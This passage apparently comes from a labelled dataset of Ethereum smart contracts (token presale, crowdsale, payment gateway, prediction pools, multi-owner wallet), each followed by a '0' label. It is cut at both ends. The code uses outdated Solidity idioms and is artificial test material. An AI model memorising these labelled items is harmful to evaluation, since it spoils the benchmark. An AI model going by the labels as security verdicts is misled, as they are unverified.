uint256 c = a + b; assert(c >= a); return c; } } contract PreSale is Controlled, TokenController { using SafeMath for uint256; uint256 constant public exchangeRate = 1; uint256 constant public investor_bonus = 25; MiniMeToken public wct; address public preSaleWallet; uint256 public totalSupplyCap; uint256 public totalSold; uint256 public minimum_investment; uint256 public startBlock; uint256 public endBlock; uint256 public initializedBlock; uint256 public finalizedBlock; bool public paused; bool public transferable; modifier initialized() { assert(initializedBlock != 0); _; } modifier contributionOpen() { assert(getBlockNumber() >= startBlock && getBlockNumber() <= endBlock && finalizedBlock == 0); _; } modifier notPaused() { require(!paused); _; } function PreSale(address _wct) { require(_wct != 0x0); wct = MiniMeToken(_wct); } function initialize( address _preSaleWallet, uint256 _totalSupplyCap, uint256 _minimum_investment, uint256 _startBlock, uint256 _endBlock ) public onlyController { require(initializedBlock == 0); assert(wct.totalSupply() == 0); assert(wct.controller() == address(this)); assert(wct.decimals() == 18); require(_preSaleWallet != 0x0); preSaleWallet = _preSaleWallet; assert(_startBlock >= getBlockNumber()); require(_startBlock < _endBlock); startBlock = _startBlock; endBlock = _endBlock; require(_totalSupplyCap > 0); totalSupplyCap = _totalSupplyCap; minimum_investment = _minimum_investment; initializedBlock = getBlockNumber(); Initialized(initializedBlock); } function () public payable notPaused { proxyPayment(msg.sender); } function proxyPayment(address _th) public payable notPaused initialized contributionOpen returns (bool) { require(_th != 0x0); doBuy(_th); return true; } function onTransfer(address, address, uint256) public returns (bool) { return transferable; } function onApprove(address, address, uint256) public returns (bool) { return transferable; } function doBuy(address _th) internal { require(msg.value >= minimum_investment); address caller; if (msg.sender == address(wct)) { caller = _th; } else { caller = msg.sender; } assert(!isContract(caller)); uint256 toFund = msg.value; uint256 leftForSale = tokensForSale(); if (toFund > 0) { if (leftForSale > 0) { uint256 tokensGenerated = toFund.mul(exchangeRate); if (tokensGenerated > leftForSale) { tokensGenerated = leftForSale; toFund = leftForSale.div(exchangeRate); } assert(wct.generateTokens(_th, tokensGenerated)); totalSold = totalSold.add(tokensGenerated); preSaleWallet.transfer(toFund); NewSale(_th, toFund, tokensGenerated); } else { toFund = 0; } } uint256 toReturn = msg.value.sub(toFund); if (toReturn > 0) { caller.transfer(toReturn); } } function isContract(address _addr) constant internal returns (bool) { if (_addr == 0) return false; uint256 size; assembly { size := extcodesize(_addr) } return (size > 0); } function finalize() public initialized { require(finalizedBlock == 0); assert(getBlockNumber() >= startBlock); assert(msg.sender == controller || getBlockNumber() > endBlock || tokensForSale() == 0); wct.changeController(0x0); finalizedBlock = getBlockNumber(); Finalized(finalizedBlock); } function tokensForSale() public constant returns(uint256) { return totalSupplyCap > totalSold ? totalSupplyCap - totalSold : 0; } function getBlockNumber() internal constant returns (uint256) { return block.number; } function claimTokens(address _token) public onlyController { if (wct.controller() == address(this)) { wct.claimTokens(_token); } if (_token == 0x0) { controller.transfer(this.balance); return; } ERC20 token = ERC20(_token); uint256 balance = token.balanceOf(this); token.transfer(controller, balance); ClaimedTokens(_token, controller, balance); } function pauseContribution(bool _paused) onlyController { paused = _paused; } function allowTransfers(bool _transferable) onlyController { transferable = _transferable; } event ClaimedTokens(address indexed _token, address indexed _controller, uint256 _amount); event NewSale(address indexed _th, uint256 _amount, uint256 _tokens); event Initialized(uint _now); event Finalized(uint _now); }
0
library SafeMathLib { function times(uint a, uint b) returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function minus(uint a, uint b) returns (uint) { assert(b <= a); return a - b; } function plus(uint a, uint b) returns (uint) { uint c = a + b; assert(c>=a); return c; } function assert(bool assertion) private { if (!assertion) throw; } } contract Ownable { address public owner; function Ownable() { owner = msg.sender; } modifier onlyOwner() { if (msg.sender != owner) { throw; } _; } function transferOwnership(address newOwner) onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } } contract Haltable is Ownable { bool public halted; modifier stopInEmergency { if (halted) throw; _; } modifier onlyInEmergency { if (!halted) throw; _; } function halt() external onlyOwner { halted = true; } function unhalt() external onlyOwner onlyInEmergency { halted = false; } } contract PricingStrategy { function isPricingStrategy() public constant returns (bool) { return true; } function isSane(address crowdsale) public constant returns (bool) { return true; } function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint tokenAmount); } contract FinalizeAgent { function isFinalizeAgent() public constant returns(bool) { return true; } function isSane() public constant returns (bool); function finalizeCrowdsale(); } contract ERC20 { uint public totalSupply; function balanceOf(address who) constant returns (uint); function allowance(address owner, address spender) constant returns (uint); function transfer(address to, uint value) returns (bool ok); function transferFrom(address from, address to, uint value) returns (bool ok); function approve(address spender, uint value) returns (bool ok); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } contract FractionalERC20 is ERC20 { uint public decimals; } contract Crowdsale is Haltable { uint public MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE = 5; using SafeMathLib for uint; FractionalERC20 public token; PricingStrategy public pricingStrategy; FinalizeAgent public finalizeAgent; address public multisigWallet; uint public minimumFundingGoal; uint public startsAt; uint public endsAt; uint public tokensSold = 0; uint public weiRaised = 0; uint public investorCount = 0; uint public loadedRefund = 0; uint public weiRefunded = 0; bool public finalized; bool public requireCustomerId; bool public requiredSignedAddress; address public signerAddress; mapping (address => uint256) public investedAmountOf; mapping (address => uint256) public tokenAmountOf; mapping (address => bool) public earlyParticipantWhitelist; uint public ownerTestValue; enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized, Refunding} event Invested(address investor, uint weiAmount, uint tokenAmount, uint128 customerId); event Refund(address investor, uint weiAmount); event InvestmentPolicyChanged(bool requireCustomerId, bool requiredSignedAddress, address signerAddress); event Whitelisted(address addr, bool status); event EndsAtChanged(uint endsAt); function Crowdsale(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal) { owner = msg.sender; token = FractionalERC20(_token); setPricingStrategy(_pricingStrategy); multisigWallet = _multisigWallet; if(multisigWallet == 0) { throw; } if(_start == 0) { throw; } startsAt = _start; if(_end == 0) { throw; } endsAt = _end; if(startsAt >= endsAt) { throw; } minimumFundingGoal = _minimumFundingGoal; } function() payable { throw; } function investInternal(address receiver, uint128 customerId) stopInEmergency private { if(getState() == State.PreFunding) { if(!earlyParticipantWhitelist[receiver]) { throw; } } else if(getState() == State.Funding) { } else { throw; } uint weiAmount = msg.value; uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, weiRaised, tokensSold, msg.sender, token.decimals()); if(tokenAmount == 0) { throw; } if(investedAmountOf[receiver] == 0) { investorCount++; } investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount); tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount); weiRaised = weiRaised.plus(weiAmount); tokensSold = tokensSold.plus(tokenAmount); if(isBreakingCap(weiAmount, tokenAmount, weiRaised, tokensSold)) { throw; } assignTokens(receiver, tokenAmount); if(!multisigWallet.send(weiAmount)) throw; Invested(receiver, weiAmount, tokenAmount, customerId); } function preallocate(address receiver, uint fullTokens, uint weiPrice) public onlyOwner { uint tokenAmount = fullTokens * 10**token.decimals(); uint weiAmount = weiPrice * fullTokens; weiRaised = weiRaised.plus(weiAmount); tokensSold = tokensSold.plus(tokenAmount); investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount); tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount); assignTokens(receiver, tokenAmount); Invested(receiver, weiAmount, tokenAmount, 0); } function investWithSignedAddress(address addr, uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable { bytes32 hash = sha256(addr); if (ecrecover(hash, v, r, s) != signerAddress) throw; if(customerId == 0) throw; investInternal(addr, customerId); } function investWithCustomerId(address addr, uint128 customerId) public payable { if(requiredSignedAddress) throw; if(customerId == 0) throw; investInternal(addr, customerId); } function invest(address addr) public payable { if(requireCustomerId) throw; if(requiredSignedAddress) throw; investInternal(addr, 0); } function buyWithSignedAddress(uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable { investWithSignedAddress(msg.sender, customerId, v, r, s); } function buyWithCustomerId(uint128 customerId) public payable { investWithCustomerId(msg.sender, customerId); } function buy() public payable { invest(msg.sender); } function finalize() public inState(State.Success) onlyOwner stopInEmergency { if(finalized) { throw; } if(address(finalizeAgent) != 0) { finalizeAgent.finalizeCrowdsale(); } finalized = true; } function setFinalizeAgent(FinalizeAgent addr) onlyOwner { finalizeAgent = addr; if(!finalizeAgent.isFinalizeAgent()) { throw; } } function setRequireCustomerId(bool value) onlyOwner { requireCustomerId = value; InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress); } function setRequireSignedAddress(bool value, address _signerAddress) onlyOwner { requiredSignedAddress = value; signerAddress = _signerAddress; InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress); } function setEarlyParicipantWhitelist(address addr, bool status) onlyOwner { earlyParticipantWhitelist[addr] = status; Whitelisted(addr, status); } function setEndsAt(uint time) onlyOwner { if(now > time) { throw; } endsAt = time; EndsAtChanged(endsAt); } function setPricingStrategy(PricingStrategy _pricingStrategy) onlyOwner { pricingStrategy = _pricingStrategy; if(!pricingStrategy.isPricingStrategy()) { throw; } } function setMultisig(address addr) public onlyOwner { if(investorCount > MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE) { throw; } multisigWallet = addr; } function loadRefund() public payable inState(State.Failure) { if(msg.value == 0) throw; loadedRefund = loadedRefund.plus(msg.value); } function refund() public inState(State.Refunding) { uint256 weiValue = investedAmountOf[msg.sender]; if (weiValue == 0) throw; investedAmountOf[msg.sender] = 0; weiRefunded = weiRefunded.plus(weiValue); Refund(msg.sender, weiValue); if (!msg.sender.send(weiValue)) throw; } function isMinimumGoalReached() public constant returns (bool reached) { return weiRaised >= minimumFundingGoal; } function isFinalizerSane() public constant returns (bool sane) { return finalizeAgent.isSane(); } function isPricingSane() public constant returns (bool sane) { return pricingStrategy.isSane(address(this)); } function getState() public constant returns (State) { if(finalized) return State.Finalized; else if (address(finalizeAgent) == 0) return State.Preparing; else if (!finalizeAgent.isSane()) return State.Preparing; else if (!pricingStrategy.isSane(address(this))) return State.Preparing; else if (block.timestamp < startsAt) return State.PreFunding; else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding; else if (isMinimumGoalReached()) return State.Success; else if (!isMinimumGoalReached() && weiRaised > 0 && loadedRefund >= weiRaised) return State.Refunding; else return State.Failure; } function setOwnerTestValue(uint val) onlyOwner { ownerTestValue = val; } function isCrowdsale() public constant returns (bool) { return true; } modifier inState(State state) { if(getState() != state) throw; _; } function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken); function isCrowdsaleFull() public constant returns (bool); function assignTokens(address receiver, uint tokenAmount) private; } contract SafeMath { function safeMul(uint a, uint b) internal returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function safeDiv(uint a, uint b) internal returns (uint) { assert(b > 0); uint c = a / b; assert(a == b * c + a % b); return c; } function safeSub(uint a, uint b) internal returns (uint) { assert(b <= a); return a - b; } function safeAdd(uint a, uint b) internal returns (uint) { uint c = a + b; assert(c>=a && c>=b); return c; } function max64(uint64 a, uint64 b) internal constant returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal constant returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal constant returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal constant returns (uint256) { return a < b ? a : b; } function assert(bool assertion) internal { if (!assertion) { throw; } } } contract StandardToken is ERC20, SafeMath { event Minted(address receiver, uint amount); mapping(address => uint) balances; mapping (address => mapping (address => uint)) allowed; function isToken() public constant returns (bool weAre) { return true; } function transfer(address _to, uint _value) returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], _value); balances[_to] = safeAdd(balances[_to], _value); Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint _value) returns (bool success) { uint _allowance = allowed[_from][msg.sender]; balances[_to] = safeAdd(balances[_to], _value); balances[_from] = safeSub(balances[_from], _value); allowed[_from][msg.sender] = safeSub(_allowance, _value); Transfer(_from, _to, _value); return true; } function balanceOf(address _owner) constant returns (uint balance) { return balances[_owner]; } function approve(address _spender, uint _value) returns (bool success) { if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw; allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint remaining) { return allowed[_owner][_spender]; } } contract MintableToken is StandardToken, Ownable { using SafeMathLib for uint; bool public mintingFinished = false; mapping (address => bool) public mintAgents; event MintingAgentChanged(address addr, bool state ); function mint(address receiver, uint amount) onlyMintAgent canMint public { totalSupply = totalSupply.plus(amount); balances[receiver] = balances[receiver].plus(amount); Transfer(0, receiver, amount); } function setMintAgent(address addr, bool state) onlyOwner canMint public { mintAgents[addr] = state; MintingAgentChanged(addr, state); } modifier onlyMintAgent() { if(!mintAgents[msg.sender]) { throw; } _; } modifier canMint() { if(mintingFinished) throw; _; } } contract MintedEthCappedCrowdsale is Crowdsale { uint public weiCap; function MintedEthCappedCrowdsale(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal, uint _weiCap) Crowdsale(_token, _pricingStrategy, _multisigWallet, _start, _end, _minimumFundingGoal) { weiCap = _weiCap; } function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken) { return weiRaisedTotal > weiCap; } function isCrowdsaleFull() public constant returns (bool) { return weiRaised >= weiCap; } function assignTokens(address receiver, uint tokenAmount) private { MintableToken mintableToken = MintableToken(token); mintableToken.mint(receiver, tokenAmount); } }
0
pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Token { function totalSupply() public constant returns (uint256 supply); function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); uint public decimals; string public name; } contract Ownable { address public owner; constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); owner = newOwner; } } contract Gateway is Ownable{ using SafeMath for uint; address public feeAccount1 = 0x703f9037088A93853163aEaaEd650f3e66aD7A4e; address public feeAccount2 = 0xc94cac4a4537865753ecdf2ad48F00112dC09ea8; struct BuyInfo { address buyerAddress; address sellerAddress; uint value; address currency; } mapping(address => mapping(uint => BuyInfo)) public payment; mapping(address => uint) public balances; uint balanceFee; uint public feePercent; uint public maxFee; constructor() public{ feePercent = 1500000; maxFee = 3000000; } function getBuyerAddressPayment(address _sellerAddress, uint _orderId) public constant returns(address){ return payment[_sellerAddress][_orderId].buyerAddress; } function getSellerAddressPayment(address _sellerAddress, uint _orderId) public constant returns(address){ return payment[_sellerAddress][_orderId].sellerAddress; } function getValuePayment(address _sellerAddress, uint _orderId) public constant returns(uint){ return payment[_sellerAddress][_orderId].value; } function getCurrencyPayment(address _sellerAddress, uint _orderId) public constant returns(address){ return payment[_sellerAddress][_orderId].currency; } function setFeeAccount1(address _feeAccount1) onlyOwner public{ feeAccount1 = _feeAccount1; } function setFeeAccount2(address _feeAccount2) onlyOwner public{ feeAccount2 = _feeAccount2; } function setFeePercent(uint _feePercent) onlyOwner public{ require(_feePercent <= maxFee); feePercent = _feePercent; } function payToken(address _tokenAddress, address _sellerAddress, uint _orderId, uint _value) public returns (bool success){ require(_tokenAddress != address(0)); require(_sellerAddress != address(0)); require(_value > 0); Token token = Token(_tokenAddress); require(token.allowance(msg.sender, this) >= _value); token.transferFrom(msg.sender, _sellerAddress, _value); payment[_sellerAddress][_orderId] = BuyInfo(msg.sender, _sellerAddress, _value, _tokenAddress); success = true; } function payEth(address _sellerAddress, uint _orderId, uint _value) public returns (bool success){ require(_sellerAddress != address(0)); require(_value > 0); require(balances[msg.sender] >= _value); uint fee = _value.mul(feePercent).div(100000000); balances[msg.sender] = balances[msg.sender].sub(_value); _sellerAddress.transfer(_value.sub(fee)); balanceFee = balanceFee.add(fee); payment[_sellerAddress][_orderId] = BuyInfo(msg.sender, _sellerAddress, _value, 0x0000000000000000000000000000000000000001); success = true; } function transferFee() onlyOwner public{ uint valfee1 = balanceFee.div(2); feeAccount1.transfer(valfee1); balanceFee = balanceFee.sub(valfee1); feeAccount2.transfer(balanceFee); balanceFee = 0; } function balanceOfToken(address _tokenAddress, address _Address) public constant returns (uint) { Token token = Token(_tokenAddress); return token.balanceOf(_Address); } function balanceOfEthFee() public constant returns (uint) { return balanceFee; } function refund() public{ require(balances[msg.sender] > 0); uint value = balances[msg.sender]; balances[msg.sender] = 0; msg.sender.transfer(value); } function getBalanceEth() public constant returns(uint){ return balances[msg.sender]; } function() external payable { balances[msg.sender] = balances[msg.sender].add(msg.value); } }
0
pragma solidity ^0.4.25; interface IERC20 { function transfer(address _to, uint256 _amount) external returns (bool success); function transferFrom(address _from, address _to, uint256 _amount) external returns (bool success); function balanceOf(address _owner) constant external returns (uint256 balance); function approve(address _spender, uint256 _amount) external returns (bool success); function allowance(address _owner, address _spender) external constant returns (uint256 remaining); function approveAndCall(address _spender, uint256 _amount, bytes _extraData) external returns (bool success); function totalSupply() external constant returns (uint); } interface IPrizeCalculator { function calculatePrizeAmount(uint _predictionTotalTokens, uint _winOutputTotalTokens, uint _forecastTokens) pure external returns (uint); } contract Owned { address public owner; address public executor; address public superOwner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { superOwner = msg.sender; owner = msg.sender; executor = msg.sender; } modifier onlyOwner { require(msg.sender == owner, "User is not owner"); _; } modifier onlySuperOwner { require(msg.sender == superOwner, "User is not owner"); _; } modifier onlyOwnerOrSuperOwner { require(msg.sender == owner || msg.sender == superOwner, "User is not owner"); _; } modifier onlyAllowed { require(msg.sender == owner || msg.sender == executor || msg.sender == superOwner, "Not allowed"); _; } function transferOwnership(address _newOwner) public onlyOwnerOrSuperOwner { emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } function transferSuperOwnership(address _newOwner) public onlySuperOwner { emit OwnershipTransferred(superOwner, _newOwner); superOwner = _newOwner; } function transferExecutorOwnership(address _newExecutor) public onlyOwnerOrSuperOwner { emit OwnershipTransferred(executor, _newExecutor); executor = _newExecutor; } } contract Pools is Owned { using SafeMath for uint; event Initialize(address _token); event PoolAdded(bytes32 _id); event PoolDestinationUpdated(bytes32 _id); event ContributionAdded(bytes32 _poolId, bytes32 _contributionId); event PoolStatusChange(bytes32 _poolId, PoolStatus _oldStatus, PoolStatus _newStatus); event Paidout(bytes32 _poolId, bytes32 _contributionId); event Withdraw(uint _amount); struct Pool { uint contributionStartUtc; uint contributionEndUtc; address destination; PoolStatus status; uint amountLimit; uint amountCollected; uint amountDistributing; uint paidout; address prizeCalculator; mapping(bytes32 => Contribution) contributions; } struct Contribution { address owner; uint amount; uint paidout; } struct ContributionIndex { bytes32 poolId; bytes32 contributionId; } enum PoolStatus { NotSet, Active, Distributing, Funding, Paused, Canceled } uint8 public constant version = 1; bool public paused = true; address public token; uint public totalPools; mapping(bytes32 => Pool) public pools; mapping(address => ContributionIndex[]) public walletPools; modifier contractNotPaused() { require(paused == false, "Contract is paused"); _; } modifier senderIsToken() { require(msg.sender == address(token)); _; } function initialize(address _token) external onlyOwnerOrSuperOwner { token = _token; paused = false; emit Initialize(_token); } function addPool(bytes32 _id, address _destination, uint _contributionStartUtc, uint _contributionEndUtc, uint _amountLimit, address _prizeCalculator) external onlyOwnerOrSuperOwner contractNotPaused { if (pools[_id].status == PoolStatus.NotSet) { totalPools++; } pools[_id].contributionStartUtc = _contributionStartUtc; pools[_id].contributionEndUtc = _contributionEndUtc; pools[_id].destination = _destination; pools[_id].status = PoolStatus.Active; pools[_id].amountLimit = _amountLimit; pools[_id].prizeCalculator = _prizeCalculator; emit PoolAdded(_id); } function updateDestination(bytes32 _id, address _destination) external onlyOwnerOrSuperOwner contractNotPaused { pools[_id].destination = _destination; emit PoolDestinationUpdated(_id); } function setPoolStatus(bytes32 _poolId, PoolStatus _status) public onlyOwnerOrSuperOwner { require(pools[_poolId].status != PoolStatus.NotSet, "pool should be initialized"); emit PoolStatusChange(_poolId,pools[_poolId].status, _status); pools[_poolId].status = _status; } function setPoolAmountDistributing(bytes32 _poolId, PoolStatus _poolStatus, uint _amountDistributing) external onlyOwnerOrSuperOwner { setPoolStatus(_poolId, _poolStatus); pools[_poolId].amountDistributing = _amountDistributing; } function receiveApproval(address _from, uint _amountOfTokens, address _token, bytes _data) external senderIsToken contractNotPaused { require(_amountOfTokens > 0, "amount should be > 0"); require(_from != address(0), "not valid from"); require(_data.length == 64, "not valid _data length"); bytes32 poolIdString = bytesToFixedBytes32(_data,0); bytes32 contributionIdString = bytesToFixedBytes32(_data,32); require(pools[poolIdString].status == PoolStatus.Active, "Status should be active"); require(pools[poolIdString].contributionStartUtc < now, "Contribution is not started"); require(pools[poolIdString].contributionEndUtc > now, "Contribution is ended"); require(pools[poolIdString].contributions[contributionIdString].amount == 0, 'Contribution duplicated'); require(pools[poolIdString].amountLimit == 0 || pools[poolIdString].amountLimit >= pools[poolIdString].amountCollected.add(_amountOfTokens), "Contribution limit reached"); require(IERC20(_token).transferFrom(_from, address(this), _amountOfTokens), "Tokens transfer failed."); walletPools[_from].push(ContributionIndex(poolIdString, contributionIdString)); pools[poolIdString].amountCollected = pools[poolIdString].amountCollected.add(_amountOfTokens); pools[poolIdString].contributions[contributionIdString].owner = _from; pools[poolIdString].contributions[contributionIdString].amount = _amountOfTokens; emit ContributionAdded(poolIdString, contributionIdString); } function transferToDestination(bytes32 _poolId) external onlyOwnerOrSuperOwner { assert(IERC20(token).transfer(pools[_poolId].destination, pools[_poolId].amountCollected)); setPoolStatus(_poolId,PoolStatus.Funding); } function payout(bytes32 _poolId, bytes32 _contributionId) public contractNotPaused { require(pools[_poolId].status == PoolStatus.Distributing, "Pool should be Distributing"); require(pools[_poolId].amountDistributing > pools[_poolId].paidout, "Pool should be not empty"); Contribution storage con = pools[_poolId].contributions[_contributionId]; require(con.paidout == 0, "Contribution already paidout"); IPrizeCalculator calculator = IPrizeCalculator(pools[_poolId].prizeCalculator); uint winAmount = calculator.calculatePrizeAmount( pools[_poolId].amountDistributing, pools[_poolId].amountCollected, con.amount ); assert(winAmount > 0); con.paidout = winAmount; pools[_poolId].paidout = pools[_poolId].paidout.add(winAmount); assert(IERC20(token).transfer(con.owner, winAmount)); emit Paidout(_poolId, _contributionId); } function refund(bytes32 _poolId, bytes32 _contributionId) public contractNotPaused { require(pools[_poolId].status == PoolStatus.Canceled, "Pool should be canceled"); require(pools[_poolId].amountDistributing > pools[_poolId].paidout, "Pool should be not empty"); Contribution storage con = pools[_poolId].contributions[_contributionId]; require(con.paidout == 0, "Contribution already paidout"); require(con.amount > 0, "Contribution not valid"); require(con.owner != address(0), "Owner not valid"); con.paidout = con.amount; pools[_poolId].paidout = pools[_poolId].paidout.add(con.amount); assert(IERC20(token).transfer(con.owner, con.amount)); emit Paidout(_poolId, _contributionId); } function getContribution(bytes32 _poolId, bytes32 _contributionId) public view returns(address, uint, uint) { return (pools[_poolId].contributions[_contributionId].owner, pools[_poolId].contributions[_contributionId].amount, pools[_poolId].contributions[_contributionId].paidout); } function () public payable { require(false); } function withdrawETH() external onlyOwnerOrSuperOwner { uint balance = address(this).balance; owner.transfer(balance); emit Withdraw(balance); } function withdrawTokens(uint _amount, address _token) external onlyOwnerOrSuperOwner { assert(IERC20(_token).transfer(owner, _amount)); emit Withdraw(_amount); } function pause(bool _paused) external onlyOwnerOrSuperOwner { paused = _paused; } function bytesToFixedBytes32(bytes memory b, uint offset) internal pure returns (bytes32) { bytes32 out; for (uint i = 0; i < 32; i++) { out |= bytes32(b[offset + i] & 0xFF) >> (i * 8); } return out; } } library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function sub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } }
0
pragma solidity ^0.4.13; contract Multiowned { struct PendingState { uint yetNeeded; uint ownersDone; uint index; } event Confirmation(address owner, bytes32 operation); event Revoke(address owner, bytes32 operation); event OwnerChanged(address oldOwner, address newOwner); event OwnerAdded(address newOwner); event OwnerRemoved(address oldOwner); event RequirementChanged(uint newRequirement); modifier onlyowner { if (isOwner(msg.sender)) _; } modifier onlymanyowners(bytes32 _operation) { if (confirmAndCheck(_operation)) _; } function Multiowned(address[] _owners, uint _required) public { m_numOwners = _owners.length; m_chiefOwnerIndexBit = 2**1; for (uint i = 0; i < m_numOwners; i++) { m_owners[1 + i] = _owners[i]; m_ownerIndex[uint(_owners[i])] = 1 + i; } m_required = _required; } function revoke(bytes32 _operation) external { uint ownerIndex = m_ownerIndex[uint(msg.sender)]; if (ownerIndex == 0) { return; } uint ownerIndexBit = 2**ownerIndex; var pending = m_pending[_operation]; if (pending.ownersDone & ownerIndexBit > 0) { pending.yetNeeded++; pending.ownersDone -= ownerIndexBit; Revoke(msg.sender, _operation); } } function changeOwner(address _from, address _to) onlymanyowners(sha3(msg.data)) external { uint ownerIndex = m_ownerIndex[uint(_from)]; if (isOwner(_to) || ownerIndex == 0) { return; } clearPending(); m_owners[ownerIndex] = _to; m_ownerIndex[uint(_from)] = 0; m_ownerIndex[uint(_to)] = ownerIndex; OwnerChanged(_from, _to); } function addOwner(address _owner) onlymanyowners(sha3(msg.data)) external { if (isOwner(_owner)) { return; } if (m_numOwners >= c_maxOwners) { clearPending(); reorganizeOwners(); } require(m_numOwners < c_maxOwners); m_numOwners++; m_owners[m_numOwners] = _owner; m_ownerIndex[uint(_owner)] = m_numOwners; OwnerAdded(_owner); } function removeOwner(address _owner) onlymanyowners(sha3(msg.data)) external { uint ownerIndex = m_ownerIndex[uint(_owner)]; if (ownerIndex == 0 || m_required > m_numOwners - 1) { return; } m_owners[ownerIndex] = 0; m_ownerIndex[uint(_owner)] = 0; clearPending(); reorganizeOwners(); OwnerRemoved(_owner); } function changeRequirement(uint _newRequired) onlymanyowners(sha3(msg.data)) external { if (_newRequired > m_numOwners) { return; } m_required = _newRequired; clearPending(); RequirementChanged(_newRequired); } function isOwner(address _addr) internal view returns (bool) { return m_ownerIndex[uint(_addr)] > 0; } function hasConfirmed(bytes32 _operation, address _owner) public view returns (bool) { var pending = m_pending[_operation]; uint ownerIndex = m_ownerIndex[uint(_owner)]; if (ownerIndex == 0) { return false; } uint ownerIndexBit = 2**ownerIndex; if (pending.ownersDone & ownerIndexBit == 0) { return false; } else { return true; } } function confirmAndCheck(bytes32 _operation) internal returns (bool) { uint ownerIndex = m_ownerIndex[uint(msg.sender)]; require(ownerIndex != 0); var pending = m_pending[_operation]; if (pending.yetNeeded == 0) { pending.yetNeeded = c_maxOwners + m_required; pending.ownersDone = 0; pending.index = m_pendingIndex.length++; m_pendingIndex[pending.index] = _operation; } uint ownerIndexBit = 2**ownerIndex; if (pending.ownersDone & ownerIndexBit == 0) { Confirmation(msg.sender, _operation); if ((pending.yetNeeded <= c_maxOwners + 1) && ((pending.ownersDone & m_chiefOwnerIndexBit != 0) || (ownerIndexBit == m_chiefOwnerIndexBit))) { delete m_pendingIndex[m_pending[_operation].index]; delete m_pending[_operation]; return true; } else { pending.yetNeeded--; pending.ownersDone |= ownerIndexBit; } } } function reorganizeOwners() private returns (bool) { uint free = 1; while (free < m_numOwners) { while (free < m_numOwners && m_owners[free] != 0) { free++; } while (m_numOwners > 1 && m_owners[m_numOwners] == 0) { m_numOwners--; } if (free < m_numOwners && m_owners[m_numOwners] != 0 && m_owners[free] == 0) { m_owners[free] = m_owners[m_numOwners]; m_ownerIndex[uint(m_owners[free])] = free; m_owners[m_numOwners] = 0; } } } function clearPending() internal { uint length = m_pendingIndex.length; for (uint i = 0; i < length; ++i) { if (m_pendingIndex[i] != 0) { delete m_pending[m_pendingIndex[i]]; } } delete m_pendingIndex; } uint public m_required; uint public m_numOwners; address[8] public m_owners; uint public m_chiefOwnerIndexBit; uint constant c_maxOwners = 7; mapping(uint => uint) public m_ownerIndex; mapping(bytes32 => PendingState) public m_pending; bytes32[] public m_pendingIndex; } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { 